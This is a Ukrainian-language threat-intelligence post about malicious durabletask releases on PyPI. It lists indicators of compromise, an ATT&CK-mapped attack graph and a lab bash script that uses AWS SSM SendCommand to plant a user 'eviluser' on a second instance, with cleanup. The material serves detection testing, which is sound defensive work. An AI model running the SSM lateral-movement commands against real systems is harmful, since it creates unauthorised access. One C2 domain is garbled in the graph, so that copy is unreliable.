SOC Prime Bias: Критичний

22 May 2026 12:36 UTC

durabletask: Останній компроміс у ланцюгу поставок PyPI від TeamPCP

Author Photo
SOC Prime Team linkedin icon Стежити
durabletask: Останній компроміс у ланцюгу поставок PyPI від TeamPCP
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Атака на ланцюг постачання була спрямована на Microsoft durabletask Пакет Python на PyPI, що призвело до публікації шкідливих версій 1.4.1, 1.4.2, і 1.4.3. Зловмисник, як повідомляється, використав скомпрометований обліковий запис GitHub, щоб отримати токен PyPI та завантажити підготовлені wheel файли. Шкідливий корисний навантаження було доставлено через rope.pyz архіви, призначені для викрадення хмарних облікових даних і поширення на додаткові системи. Зусилля з виявлення повинні бути зосереджені на конкретних тимчасових файлах, підозрілої активності процесів та трафіку до визначених командно-контрольних доменів.

Розслідування

Wiz зв’язав скомпрометований обліковий запис GitHub з попередньою @antv кампанією. Їх аналіз виявив, що зловмисник повторно використовував повідомлення комітів та отримав доступ до витеклих секретів GitHub, що містять токен для публікації на PyPI. До шкідливих wheel файлів входив transformers.pyz компонент, що скидає rope.pyz вмісти у /tmp та ініціює командно-контрольне спілкування з check.git-service.com and t.m-kosche.com.

Заходи зменшення ризику

Організації повинні змінити потенційно розкриті облікові дані хмарних сервісів та менеджерів паролів, заблокувати виявлені командно-контрольні домени та URL-адреси, а також шукати індикатори зараження такі як ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Будь-які тимчасові managed.pyz or rope-*.pyz файли повинні бути видалені, а пов’язані процеси Python припинені. GitHub Actions та PyPI робочі потоки публікацій повинні бути посилені, щоб зменшити ризик подібних компрометацій.

Відповідь

Команди безпеки повинні виявити будь-яке використання durabletask версій 1.4.1 через 1.4.3, шукати /tmp/managed.pyz and /tmp/rope-*.pyz, та стежити за python3 процесами, що виконують ці файли. Вихідний DNS і HTTP трафік до check.git-service.com and t.m-kosche.com повинен бути заблокований, а журнали CloudTrail і Kubernetes повинні бути перевірені на підозрілу активність SSM або kubectl exec діяльність. Постраждалі облікові дані повинні бути негайно змінені, а журнали менеджера паролів перевірені на ознаки грубої сили або несанкціонованого доступу.

“graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Вузли initial_node[“Початок: Зловмисник отримує дійсні облікові дані GitHub”] class initial_node action action_initial_access[“ДіяT1078 Дійсні Облікові Записи: Скомпрометований обліковий запис GitHub надає доступ до репозиторію”] class action_initial_access action tool_gitHub[“ІнструментНазва: GitHub
Роль: Платформа для хостингу вихідного коду”] class tool_gitHub tool action_cred_exploit[“ДіяT1212 Експлуатація для Отримання Облікових Даних: Витягнуті секрети GitHub для отримання токену PyPI”] class action_cred_exploit action file_pypi_token[“ФайлНазва: Токен PyPI”] class file_pypi_token file action_cred_password_stores[“ДіяT1555.005 Менеджери Паролів & T1555.006 Хронення Секретів Хмари: Зібрані облікові дані для хмарних платформ та менеджерів паролів”] class action_cred_password_stores action credential_aws[“Облікові Дані: Ключі доступу AWS та токен SSM”] class credential_aws credential credential_azure[“Облікові Дані: Головний компонент служби Azure”] class credential_azure credential credential_gcp[“Облікові Дані: Обліковий запис служби GCP”] class credential_gcp credential credential_k8s[“Облікові Дані: Токен облікового запису служби Kubernetes”] class credential_k8s credential credential_vault[“Облікові Дані: Токен HashiCorp Vault”] class credential_vault credential action_supply_chain[“ДіяT1195.002 Компрометація Ланцюга Поставок Програмного Забезпечення: Використано токен PyPI для публікації шкідливих пакетів durabletask 1.4.1 1.4.3″] class action_supply_chain action tool_pypi[“ІнструментНазва: Репозиторій PyPI”] class tool_pypi tool malware_durabletask[“Шкідливе ПЗНазва: Пакет durabletask (шкідливий)”] class malware_durabletask malware action_execution[“ДіяT1204.002 Виконання Користувачем: Шкідливий Файл: Жертви встановлюють скомпрометований пакет, що спричиняє завантаження корисного навантаження”] class action_execution action file_managed[“ФайлШлях: /tmp/managed.pyz”] class file_managed file file_rope[“ФайлШлях: /tmp/rope-*.pyz”] class file_rope file action_defense_evasion[“ДіяT1127 Виконання Проксі-довірених Розробників: Шкідливий код був виконаний через імпортовані гачки Python”] class action_defense_evasion action action_persistence[“ДіяT1176 Розширення Програмного Забезпечення: Точки ін’єкції в init.py та інших модулях”] class action_persistence action action_credential_dumping[“ДіяT1003 Скидання Облікових Даних ОС: Вилучені токени AWS SSM, токени Kubernetes та історія оболонки”] class action_credential_dumping action action_lateral_movement[“ДіяT1570 Інструмент для Переміщення Латералі: Поширення на додаткові хости через AWS SSM та Kubernetes exec”] class action_lateral_movement action tool_aws_ssm[“ІнструментНазва: AWS SSM”] class tool_aws_ssm tool tool_k8s_exec[“ІнструментНазва: Kubernetes exec”] class tool_k8s_exec tool op_and((“AND”)) class op_and operator action_c2[“ДіяT1219 Засоби Віддаленого Доступу & T1071.001 Веб-протоколи: Спілкування з доменами C2 за допомогою кінцевої точки /v1/models”] class action_c2 action c2_domain1[“Домен C2: check.git-service.com”] class c2_domain1 c2 c2_domain2[“Домен C2: t.mu2011kosche.com”] class c2_domain2 c2 action_exfiltration[“ДіяT1048 Екфільтрація по Альтернативному Протоколу: Відправка даних на кінцеву точку /api/public/version”] class action_exfiltration action exfil_endpoint[“Кінцева точка: /api/public/version”] class exfil_endpoint c2 %% Підключення initial_node –>|веде до| action_initial_access action_initial_access –>|включає| action_cred_exploit action_cred_exploit –>|захоплює| file_pypi_token file_pypi_token –>|використовується| action_supply_chain action_supply_chain –>|публікації| malware_durabletask malware_durabletask –>|встановлений| action_execution action_execution –>|завантаження| file_managed action_execution –>|завантаження| file_rope file_managed –>|виконаний| action_defense_evasion file_rope –>|виконаний| action_defense_evasion action_defense_evasion –>|встановлює| action_persistence action_persistence –>|включає| action_credential_dumping action_credential_dumping –>|збирає| credential_aws action_credential_dumping –>|збирає| credential_azure action_credential_dumping –>|збирає| credential_gcp action_credential_dumping –>|збирає| credential_k8s action_credential_dumping –>|збирає| credential_vault credential_aws –>|використовується для| action_lateral_movement credential_k8s –>|використовується для| action_lateral_movement action_lateral_movement –>|використовує| tool_aws_ssm action_lateral_movement –>|використовує| tool_k8s_exec action_lateral_movement –>|поширюється| op_and op_and –>|з’єднується з| action_c2 action_c2 –>|звертається до| c2_domain1 action_c2 –>|звертається до| c2_domain2 c2_domain1 –>|отримує дані| action_exfiltration c2_domain2 –>|отримує дані| action_exfiltration action_exfiltration –>|відправляє| exfil_endpoint “

Потік атаки

Експериментальне виконання

Передумова: Перевірка перед польотом Телеметрії та Еталону повинна бути пройдена.

Мотивування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив повинен точно відображати визначені TTP та бути спрямованими на генерування точної телеметрії, очікуваної логікою виявлення.

  • Опис атак та команди:
    Супротивник отримав облікові дані на скомпрометованому екземплярі EC2 (Екземпляр A). Використовуючи ці облікові дані, зловмисник використовує AWS Systems Manager для вторгнення в другий екземпляр (Екземпляр B) без відкриття будь-яких мережевих портів. Кроки такі:

    1. Перераховуйте доступні екземпляри via SSM:DescribeInstanceInformation для визначення цілей.
    2. Відправити шкідливу команду через SSM:SendCommand (наприклад, створіть нового привілейованого користувача) на цільовий екземпляр.
    3. Перевірити виконання отриманням виведення команд.

    Зловмисник використовує AWS CLI, що безпосередньо генерує події CloudTrail для обох API-викликів, що задовільняє умови правила.

  • Сценарій регресійного тестування: Сценарій, наведений нижче, відтворює атаку в контрольованій лабораторії. Він очікує, що AWS CLI буде налаштований за допомогою облікових даних, які мають ssm:SendCommand and ssm:DescribeInstanceInformation дозволи.

    #!/usr/bin/env bash
    set -euo pipefail
    
    # -------------------------------------------------
    # Змінні – налаштуйте для свого лабораторного середовища
    # -------------------------------------------------
    REGION="us-east-1"
    COMPROMISED_INSTANCE="i-0abcdef1234567890"   # Екземпляр A (точка входу зловмисника)
    TARGET_INSTANCE="i-0fedcba9876543210"       # Екземпляр B (латеральна ціль)
    
    # 1⃣ Перераховуйте керовані SSM екземпляри (викликає DescribeInstanceInformation)
    echo "[*] Перераховуються керовані SSM екземпляри..."
    aws ssm describe-instance-information 
        --region "$REGION" 
        --output json > /tmp/ssm_instances.json
    
    # 2⃣ Відправити шкідливий корисний навантаження на $TARGET_INSTANCE ...
    echo "[*] Відправлення шкідливого корисного навантаження на $TARGET_INSTANCE ..."
    MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Збереження шкідливого користувача" 
        --parameters commands=["$MALICIOUS_CMD"] 
        --region "$REGION" 
        --output json > /tmp/ssm_sendcommand.json
    
    # 3⃣ Отримання ідентифікатора команди та очікування завершення (необов'язково)
    CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json)
    echo "[*] Ідентифікатор команди: $CMD_ID – очікування виконання..."
    aws ssm list-command-invocations 
        --command-id "$CMD_ID" 
        --details 
        --region "$REGION" 
        --output json
    
    echo "[+] Симуляція завершена. CloudTrail тепер повинна містити як SSM:DescribeInstanceInformation, так і SSM:SendCommand події."
  • Команди очищення: Вилучіть шкідливого користувача та видаліть будь-яку залишкову історію команд.

    #!/usr/bin/env bash
    set -euo pipefail
    
    REGION="us-east-1"
    TARGET_INSTANCE="i-0fedcba9876543210"
    
    echo "[*] Очищення шкідливих артефактів на $TARGET_INSTANCE ..."
    CLEANUP_CMD="userdel -r eviluser || true"
    aws ssm send-command 
        --instance-ids "$TARGET_INSTANCE" 
        --document-name "AWS-RunShellScript" 
        --comment "Очищення після тесту" 
        --parameters commands=["$CLEANUP_CMD"] 
        --region "$REGION"